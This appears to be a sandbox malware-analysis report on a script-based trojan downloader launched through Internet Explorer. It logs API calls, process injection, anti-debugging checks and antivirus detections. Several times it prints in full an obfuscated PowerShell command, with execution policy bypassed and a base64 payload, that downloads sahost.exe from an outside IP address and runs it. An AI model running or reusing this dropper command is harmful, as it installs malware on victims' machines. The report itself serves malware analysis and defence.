process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000772d6000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000077181000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076ba0000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000772af000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000772bb000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefe117000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdbe4000
process_handle: 0xffffffffffffffff
1 0 0
Application Crash Process iexplore.exe with pid 2032 crashed
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefda5a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 106815872
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 106821824
registers.r11: 106817632
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1902149196
registers.r13: 0
1 0 0
file C:\Users\test22\AppData\Roaming\sahost.exe
file c:\Users\test22\AppData\Local\Temp\nxrovjic.dll
file C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\system32\cmd.exe" "/c PowERSheLl.EXe -ex BYPASS -NOp -w 1 -C deViCEcREdEnTiALDepLOyMENt ; Iex($(iex('[syStEm.teXT.EnCODINg]'+[chAR]0x3a+[Char]58+'utF8.GEtsTRIng([SYstEM.coNvErT]'+[cHAr]0x3A+[cHAr]0X3a+'froMbaSe64stRinG('+[chAR]0x22+'JGFGaXpNMzggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYkVyZEVmSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5TlNLLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWERiU2hRZXosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY05FRlBDLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRE9qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJsVGZxQiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ4ZlogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhRml6TTM4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjE0Ny8zMy9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U3RBUlQtU0xlRVAoMyk7c3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2Fob3N0LmV4ZSI='+[ChAr]0x22+'))')))"
cmdline PowERSheLl.EXe -ex BYPASS -NOp -w 1 -C deViCEcREdEnTiALDepLOyMENt ; Iex($(iex('[syStEm.teXT.EnCODINg]'+[chAR]0x3a+[Char]58+'utF8.GEtsTRIng([SYstEM.coNvErT]'+[cHAr]0x3A+[cHAr]0X3a+'froMbaSe64stRinG('+[chAR]0x22+'JGFGaXpNMzggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYkVyZEVmSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5TlNLLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWERiU2hRZXosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY05FRlBDLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRE9qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJsVGZxQiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ4ZlogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhRml6TTM4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjE0Ny8zMy9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U3RBUlQtU0xlRVAoMyk7c3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2Fob3N0LmV4ZSI='+[ChAr]0x22+'))')))"
cmdline C:\Windows\System32\cmd.exe "/c PowERSheLl.EXe -ex BYPASS -NOp -w 1 -C deViCEcREdEnTiALDepLOyMENt ; Iex($(iex('[syStEm.teXT.EnCODINg]'+[chAR]0x3a+[Char]58+'utF8.GEtsTRIng([SYstEM.coNvErT]'+[cHAr]0x3A+[cHAr]0X3a+'froMbaSe64stRinG('+[chAR]0x22+'JGFGaXpNMzggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYkVyZEVmSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5TlNLLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWERiU2hRZXosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY05FRlBDLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRE9qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJsVGZxQiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ4ZlogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhRml6TTM4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjE0Ny8zMy9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U3RBUlQtU0xlRVAoMyk7c3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2Fob3N0LmV4ZSI='+[ChAr]0x22+'))')))"
file C:\Users\test22\AppData\Local\Temp\nxrovjic.dll
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\system32\cmd.exe
parameters: "/c PowERSheLl.EXe -ex BYPASS -NOp -w 1 -C deViCEcREdEnTiALDepLOyMENt ; Iex($(iex('[syStEm.teXT.EnCODINg]'+[chAR]0x3a+[Char]58+'utF8.GEtsTRIng([SYstEM.coNvErT]'+[cHAr]0x3A+[cHAr]0X3a+'froMbaSe64stRinG('+[chAR]0x22+'JGFGaXpNMzggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYkVyZEVmSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5TlNLLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWERiU2hRZXosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY05FRlBDLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRE9qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJsVGZxQiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ4ZlogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhRml6TTM4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjE0Ny8zMy9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U3RBUlQtU0xlRVAoMyk7c3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2Fob3N0LmV4ZSI='+[ChAr]0x22+'))')))"
filepath: C:\Windows\System32\cmd.exe
1 1 0
Data received !
Data received HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 08:18:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Sun, 11 Aug 2024 22:31:26 GMT ETag: "7cf10-61f6fefd7eb80" Accept-Ranges: bytes Content-Length: 511760 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/lnk MZÿÿ¸@غ´ Í!¸LÍ!This program cannot be run in DOS mode. $­1éPfÒéPfÒéPfÒ*_9ÒëPfÒéPgÒLPfÒ*_;ÒæPfÒ½sVÒãPfÒ.V`ÒèPfÒRichéPfÒPEL›Oaà h*@6€@‹|@…… € H»È€°.textvfh `.rdataš€l@@.datax €@À.ndataа€À.rsrc €†@@
Data sent !
Data sent GET /33/sahost.exe HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 192.3.243.147 Connection: Keep-Alive
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\nxrovjic.cmdline"
cmdline "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2032 CREDAT:145409
host 117.18.232.200
host 192.3.243.147
ALYac VBS.Heur.Asthma.2.7397A223.Gen
VIPRE VBS.Heur.Asthma.2.7397A223.Gen
Arcabit VBS.Heur.Asthma.2.7397A223.Gen
Baidu JS.Trojan.Kryptik.to
Symantec ISB.Downloader!gen80
Kaspersky HEUR:Trojan.Script.Generic
BitDefender VBS.Heur.Asthma.2.7397A223.Gen
NANO-Antivirus Trojan.Script.Heuristic-js.iacgm
MicroWorld-eScan VBS.Heur.Asthma.2.7397A223.Gen
Emsisoft VBS.Heur.Asthma.2.7397A223.Gen (B)
DrWeb VBS.DownLoader.3327
FireEye VBS.Heur.Asthma.2.7397A223.Gen
Google Detected
MAX malware (ai score=83)
GData VBS.Heur.Asthma.2.7397A223.Gen
Varist JS/Agent.CIN.gen!Eldorado
Zoner Probably Heur.HTMLUnescape
Time & API Arguments Status Return Repeated

send

 buffer: !
socket: 1256
sent: 1
1 1 0

send

 buffer: GET /33/sahost.exe HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 192.3.243.147 Connection: Keep-Alive
socket: 1292
sent: 324
1 324 0

send

 buffer: !
socket: 1256
sent: 1
1 1 0

InternetCrackUrlA

 url: http://192.3.243.147/33/sahost.exe
flags: 0
1 1 0

URLDownloadToFileW

 url: http://192.3.243.147/33/sahost.exe
stack_pivoted: 0
filepath_r: C:\Users\test22\AppData\Roaming\sahost.exe
filepath: C:\Users\test22\AppData\Roaming\sahost.exe
-2146697205 0
Time & API Arguments Status Return Repeated

recv

 buffer: HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 08:18:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Sun, 11 Aug 2024 22:31:26 GMT ETag: "7cf10-61f6fefd7eb80" Accept-Ranges: bytes Content-Length: 511760 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/lnk MZÿÿ¸@غ´ Í!¸LÍ!This program cannot be run in DOS mode. $­1éPfÒéPfÒéPfÒ*_9ÒëPfÒéPgÒLPfÒ*_;ÒæPfÒ½sVÒãPfÒ.V`ÒèPfÒRichéPfÒPEL›Oaà h*@6€@‹|@…… € H»È€°.textvfh `.rdataš€l@@.datax €@À.ndataа€À.rsrc €†@@
received: 1024
socket: 1292
1 1024 0
parent_process powershell.exe martian_process "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\nxrovjic.cmdline"
parent_process powershell.exe martian_process C:\Users\test22\AppData\Roaming\sahost.exe
parent_process iexplore.exe martian_process C:\Windows\System32\cmd.exe "/c PowERSheLl.EXe -ex BYPASS -NOp -w 1 -C deViCEcREdEnTiALDepLOyMENt ; Iex($(iex('[syStEm.teXT.EnCODINg]'+[chAR]0x3a+[Char]58+'utF8.GEtsTRIng([SYstEM.coNvErT]'+[cHAr]0x3A+[cHAr]0X3a+'froMbaSe64stRinG('+[chAR]0x22+'JGFGaXpNMzggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYkVyZEVmSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5TlNLLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWERiU2hRZXosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY05FRlBDLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRE9qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJsVGZxQiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ4ZlogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhRml6TTM4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjE0Ny8zMy9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U3RBUlQtU0xlRVAoMyk7c3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2Fob3N0LmV4ZSI='+[ChAr]0x22+'))')))"
parent_process iexplore.exe martian_process "C:\Windows\system32\cmd.exe" "/c PowERSheLl.EXe -ex BYPASS -NOp -w 1 -C deViCEcREdEnTiALDepLOyMENt ; Iex($(iex('[syStEm.teXT.EnCODINg]'+[chAR]0x3a+[Char]58+'utF8.GEtsTRIng([SYstEM.coNvErT]'+[cHAr]0x3A+[cHAr]0X3a+'froMbaSe64stRinG('+[chAR]0x22+'JGFGaXpNMzggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYkVyZEVmSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5TlNLLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWERiU2hRZXosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY05FRlBDLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRE9qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJsVGZxQiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ4ZlogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhRml6TTM4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjE0Ny8zMy9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U3RBUlQtU0xlRVAoMyk7c3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2Fob3N0LmV4ZSI='+[ChAr]0x22+'))')))"
Process injection Process 2032 resumed a thread in remote process 1780
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000000000035c
suspend_count: 1
process_identifier: 1780
1 0 0
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\sahost[1].exe